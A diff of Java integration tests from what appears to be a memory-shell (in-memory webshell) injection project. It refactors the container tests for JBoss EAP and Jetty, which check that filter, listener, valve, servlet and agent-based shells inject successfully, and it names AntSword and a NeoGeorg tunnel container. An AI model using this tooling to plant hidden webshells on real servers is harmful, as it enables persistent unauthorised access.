|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_7);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,89 +1,53 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class JbossEap6ContainerTest {
|
||||
public static final String imageName = "reajason/jboss:eap-6-jdk8";
|
||||
static Network network = Network.newNetwork();
|
||||
public class JbossEap6ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
||||
"reajason/jboss:eap-6-jdk8",
|
||||
"/usr/local/jboss/standalone/deployments/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,86 +1,50 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class JbossEap7ContainerTest {
|
||||
public static final String imageName = "reajason/jboss:eap-7-jdk8";
|
||||
static Network network = Network.newNetwork();
|
||||
public class JbossEap7ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
|
||||
"reajason/jboss:eap-7-jdk8",
|
||||
"/usr/local/jboss/standalone/deployments/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,89 +1,56 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class JbossEap81ContainerTest {
|
||||
public static final String imageName = "reajason/jboss:eap-8.1-jdk17";
|
||||
static Network network = Network.newNetwork();
|
||||
public class JbossEap81ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
|
||||
"reajason/jboss:eap-8.1-jdk17",
|
||||
"/usr/local/jboss/standalone/deployments/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V17)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||
null, List.of(ShellTool.AntSword) // AntSword not support jakarta
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,90 +1,55 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jetty10ContainerTest {
|
||||
public static final String imageName = "jetty:10-jre11";
|
||||
static Network network = Network.newNetwork();
|
||||
public class Jetty10ContainerTest extends AbstractContainerTest {
|
||||
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||
.jetty("jetty:10-jre11")
|
||||
.serverVersion("7+")
|
||||
.targetJdkVersion(Opcodes.V11)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.HANDLER,
|
||||
ShellType.CUSTOMIZER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.HANDLER,
|
||||
ShellType.CUSTOMIZER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.HANDLER,
|
||||
ShellType.CUSTOMIZER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.HANDLER,
|
||||
ShellType.CUSTOMIZER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V11);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,92 +1,60 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jetty11ContainerTest {
|
||||
public static final String imageName = "jetty:11.0-jre17";
|
||||
static Network network = Network.newNetwork();
|
||||
public class Jetty11ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||
.jetty("jetty:11.0-jre17")
|
||||
.warFile(warJakartaFile)
|
||||
.serverVersion("7+")
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V17)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER,
|
||||
ShellType.CUSTOMIZER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER,
|
||||
ShellType.CUSTOMIZER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER,
|
||||
ShellType.CUSTOMIZER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||
null, List.of(ShellTool.AntSword)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER,
|
||||
ShellType.CUSTOMIZER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,90 +1,59 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jetty12ee10ContainerTest {
|
||||
public static final String imageName = "reajason/jetty:12.0-jre21-ee10";
|
||||
static Network network = Network.newNetwork();
|
||||
public class Jetty12ee10ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||
.jetty("reajason/jetty:12.0-jre21-ee10")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.serverVersion("12")
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.probeTargetJdkVersion(Opcodes.V17)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
